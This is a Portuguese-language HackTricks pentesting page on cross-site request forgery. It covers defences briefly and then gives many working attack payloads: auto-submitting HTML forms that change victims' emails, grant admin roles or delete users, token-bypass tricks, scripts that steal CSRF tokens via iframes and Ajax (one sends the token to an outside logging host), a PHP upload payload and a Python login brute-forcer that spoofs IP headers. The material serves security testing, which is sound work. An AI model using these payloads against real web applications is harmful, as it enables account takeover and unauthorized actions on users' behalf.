CSRF (Cross Site Request Forgery)
Reading time: 23 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Permite que atacantes realizem ações em nome de usuários desprevenidos explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma da vítima, visita um site malicioso. Esse site então dispara requisições para a conta da vítima através de métodos como execução de JavaScript, submissão de forms ou carregamento de imagens.
Prerequisites for a CSRF Attack
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
- Identify a Valuable Action: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, email ou elevar privilégios.
 - Session Management: A sessão do usuário deve ser gerida exclusivamente por cookies ou pelo cabeçalho HTTP Basic Authentication, já que outros cabeçalhos não podem ser manipulados para esse propósito.
 - Absence of Unpredictable Parameters: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
 
Quick Check
Você pode capturar a requisição no Burp e verificar as proteções CSRF e, para testar a partir do navegador, você pode clicar em Copy as fetch e verificar a requisição:
 (1) (1).png)
Defending Against CSRF
Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
- SameSite cookies: Esse atributo impede que o browser envie cookies junto com requisições cross-site. More about SameSite cookies.
 - Cross-origin resource sharing: A política CORS do site vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer ler a resposta do site vítima. Learn about CORS bypass.
 - User Verification: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
 - Checking Referrer or Origin Headers: Validar esses cabeçalhos pode ajudar a garantir que as requisições venham de fontes confiáveis. Entretanto, craftings cuidadosos de URLs podem contornar checagens mal implementadas, tais como:
 - Usar 
http://mal.net?orig=http://example.com(URL termina com a URL confiável) - Usar 
http://example.com.mal.net(URL começa com a URL confiável) - Modifying Parameter Names: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
 - CSRF Tokens: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A efetividade do token pode ser aumentada aplicando CORS.
 
Entender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web.
Common pitfalls of defenses
- SameSite pitfalls: 
SameSite=Laxainda permite navegações top-level cross-site como links e form GETs, então muitos CSRFs baseados em GET permanecem possíveis. Veja a matriz de cookies em Hacking with Cookies > SameSite. - Header checks: Valide 
Originquando presente; se ambosOrigineRefererestiverem ausentes, falhe fechado. Não confie em correspondências por substring/regex deRefererque podem ser contornadas com domínios parecidos ou URLs craftadas, e note o truque de supressãometa name="referrer" content="never". - Method overrides: Trate métodos sobrescritos (
_methodou override headers) como alteração de estado e aplique CSRF no método efetivo, não apenas no POST. - Login flows: Aplique proteções CSRF também ao login; caso contrário, login CSRF permite reautenticação forçada em contas controladas pelo atacante, que pode ser encadeada com stored XSS.
 
Defences Bypass
From POST to GET (method-conditioned CSRF validation bypass)
Algumas aplicações só aplicam validação CSRF no POST enquanto a pulam para outros verbs. Um anti-pattern comum em PHP se parece com:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Se o endpoint vulnerável também aceita parâmetros de $_REQUEST, você pode reenviar a mesma ação como uma requisição GET e omitir o token CSRF por completo. Isso converte uma ação que deveria ser apenas POST em uma ação GET que tem sucesso sem um token.
Exemplo:
- Original POST with token (intended):
 
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
 
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- Esse padrão aparece frequentemente junto com reflected XSS quando respostas são servidas incorretamente como text/html em vez de application/json.
 - Combiná-lo com XSS reduz muito as barreiras de exploração porque você pode entregar um único GET link que tanto dispara o caminho de código vulnerável quanto evita completamente as verificações CSRF.
 
Falta de token
Aplicações podem implementar um mecanismo para validar tokens quando estes estão presentes. No entanto, surge uma vulnerabilidade se a validação for totalmente ignorada quando o token está ausente. Atacantes podem explorar isso removendo o parâmetro que carrega o token, não apenas seu valor. Isso permite contornar o processo de validação e realizar um Cross-Site Request Forgery (CSRF) com eficácia.
Além disso, algumas implementações apenas verificam que o parâmetro existe mas não validam seu conteúdo, então um valor de token vazio é aceito. Nesse caso, simplesmente enviar a requisição com csrf= é suficiente:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
PoC mínimo de auto-submissão (ocultando a navegação com history.pushState):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF token não está vinculado à sessão do usuário
Aplicações que não vinculam CSRF tokens às sessões do usuário representam um risco de segurança significativo. Esses sistemas verificam tokens contra um pool global em vez de garantir que cada token esteja ligado à sessão que o iniciou.
Eis como atacantes exploram isso:
- Autenticar-se usando a própria conta.
 - Obter um CSRF token válido do pool global.
 - Usar esse token em um ataque CSRF contra uma vítima.
 
Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
Bypass de método
Se a requisição estiver usando um método "estranho", verifique se a funcionalidade de method override está funcionando. Por exemplo, se estiver usando um método PUT/DELETE/PATCH você pode tentar usar POST e enviar um override, ex.: https://example.com/my/dear/api/val/num?_method=PUT.
Isso também pode funcionar enviando o parâmetro _method dentro do corpo de um POST ou usando cabeçalhos de override:
X-HTTP-MethodX-HTTP-Method-OverrideX-Method-Override
Comum em frameworks como Laravel, Symfony, Express e outros. Desenvolvedores às vezes pulam CSRF em verbos não-POST assumindo que navegadores não podem emiti-los; com overrides, você ainda pode alcançar esses handlers via POST.
Exemplo de requisição e PoC HTML:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
Custom header token bypass
Se a requisição estiver adicionando um custom header com um token na solicitação como CSRF protection method, então:
- Teste a requisição sem o Customized Token and also header.
 - Teste a requisição com exatamente same length but different token.
 
CSRF token is verified by a cookie
Aplicações podem implementar proteção CSRF duplicando o token tanto em um cookie quanto em um request parameter, ou definindo um CSRF cookie e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida as requisições verificando se o token no request parameter corresponde ao valor no cookie.
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um CSRF cookie no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida do início do ataque CSRF.
Abaixo está um exemplo de como um ataque pode ser estruturado:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
Note que se o csrf token estiver relacionado com o session cookie este ataque não funcionará porque você terá que definir a sessão da vítima para a sua, e portanto estará atacando a si mesmo.
Alteração do Content-Type
De acordo com this, para evitar preflight requisições usando o método POST estes são os valores de Content-Type permitidos:
application/x-www-form-urlencodedmultipart/form-datatext/plain
No entanto, note que a lógica dos servidores pode variar dependendo do Content-Type usado então você deve testar os valores mencionados e outros like application/json,text/xml, application/xml.
Exemplo (a partir de here) de enviar dados JSON como text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Contornando requisições preflight para dados JSON
Ao tentar enviar dados JSON via uma requisição POST, usar Content-Type: application/json em um formulário HTML não é diretamente possível. Da mesma forma, utilizar XMLHttpRequest para enviar esse tipo de conteúdo inicia uma requisição preflight. Ainda assim, existem estratégias para possivelmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
- Use Alternative Content Types: Empregue 
Content-Type: text/plainouContent-Type: application/x-www-form-urlencodeddefinindoenctype="text/plain"no form. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type. - Modify Content Type: Para evitar uma requisição preflight ao mesmo tempo que garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com 
Content-Type: text/plain; application/json. Isto não dispara uma requisição preflight, mas pode ser processado corretamente pelo servidor se ele estiver configurado para aceitarapplication/json. - SWF Flash File Utilization: Um método menos comum, mas viável, envolve usar um arquivo SWF/Flash para contornar tais restrições. Para um entendimento aprofundado desta técnica, consulte this post.
 
Contorno da verificação de Referrer / Origin
Evitar o cabeçalho Referrer
Aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para impedir que o navegador envie esse cabeçalho, a seguinte meta tag HTML pode ser usada:
<meta name="referrer" content="never">
Isto garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando verificações de validação em algumas aplicações.
Regexp bypasses
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
A primeira parte de this CTF writeup explica que Oak's source code, um router está configurado para handle HEAD requests as GET requests sem corpo de resposta — uma solução comum que não é exclusiva do Oak. Em vez de um handler específico que trata HEAD reqs, elas são simplesmente given to the GET handler but the app just removes the response body.
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente send a HEAD request that will be processed as a GET request.
Exploit Examples
Stored CSRF via user-generated HTML
Quando editores rich-text ou injeção de HTML são permitidos, você pode persistir um fetch passivo que aciona um endpoint GET vulnerável. Qualquer usuário que visualizar o conteúdo realizará automaticamente a requisição com seus cookies.
- Se a app usa um global CSRF token que não está vinculado à sessão do usuário, o mesmo token pode funcionar para todos os usuários, tornando stored CSRF confiável entre vítimas.
 
Minimal example that changes the viewer’s email when loaded:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF encadeado com stored XSS
Login CSRF por si só pode ter baixo impacto, mas encadeá-lo com um stored XSS executado em contexto autenticado torna-se poderoso: forçar a vítima a autenticar-se em uma conta controlada pelo atacante; uma vez nesse contexto, um stored XSS em uma página autenticada é executado e pode roubar tokens, hijack the session, ou escalar privilégios.
- Certifique-se de que o login endpoint seja CSRF-able (sem per-session token ou origin check) e que não existam user interaction gates que o bloqueiem.
 - Após o login forçado, navegue automaticamente até uma página que contenha o payload de stored XSS do atacante.
 
Minimal login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
Exfiltrando CSRF Token
Se um CSRF token estiver sendo usado como defesa, você pode tentar exfiltrá-lo abusando de uma vulnerabilidade XSS ou de uma vulnerabilidade Dangling Markup.
GET usando tags HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma requisição GET são:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Requisição GET via formulário
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Requisição POST de formulário
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Requisição POST de Form através de iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Requisição Ajax POST
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
requisição POST multipart/form-data
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
requisição POST multipart/form-data v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
Requisição POST de um formulário dentro de um iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Roubar CSRF Token e enviar um POST request
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Roubar o CSRF Token e enviar uma requisição POST usando um iframe, um form e Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Roubar CSRF Token e enviar um POST request usando um iframe e um form
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Roubar token e enviá-lo usando 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token com Ajax e enviar um POST com um form
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF com Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
O código pode ser usado para Brut Force um formulário de login usando um token CSRF (Também está usando o header X-Forwarded-For para tentar contornar um possível bloqueio por IP):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Ferramentas
- https://github.com/0xInfection/XSRFProbe
 - https://github.com/merttasci/csrf-poc-generator
 - Burp Suite Professional – Generate CSRF PoCs
 
Referências
- https://portswigger.net/web-security/csrf
 - https://portswigger.net/web-security/csrf/bypassing-token-validation
 - https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
 - https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
 - https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
 - Guia definitivo para vulnerabilidades CSRF (YesWeHack)
 - OWASP: Cross-Site Request Forgery (CSRF)
 - Wikipedia: Cross-site request forgery
 - PortSwigger Web Security Academy: CSRF labs
 - Hackernoon: Blind CSRF
 - YesWeHack Dojo: Laboratórios práticos
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks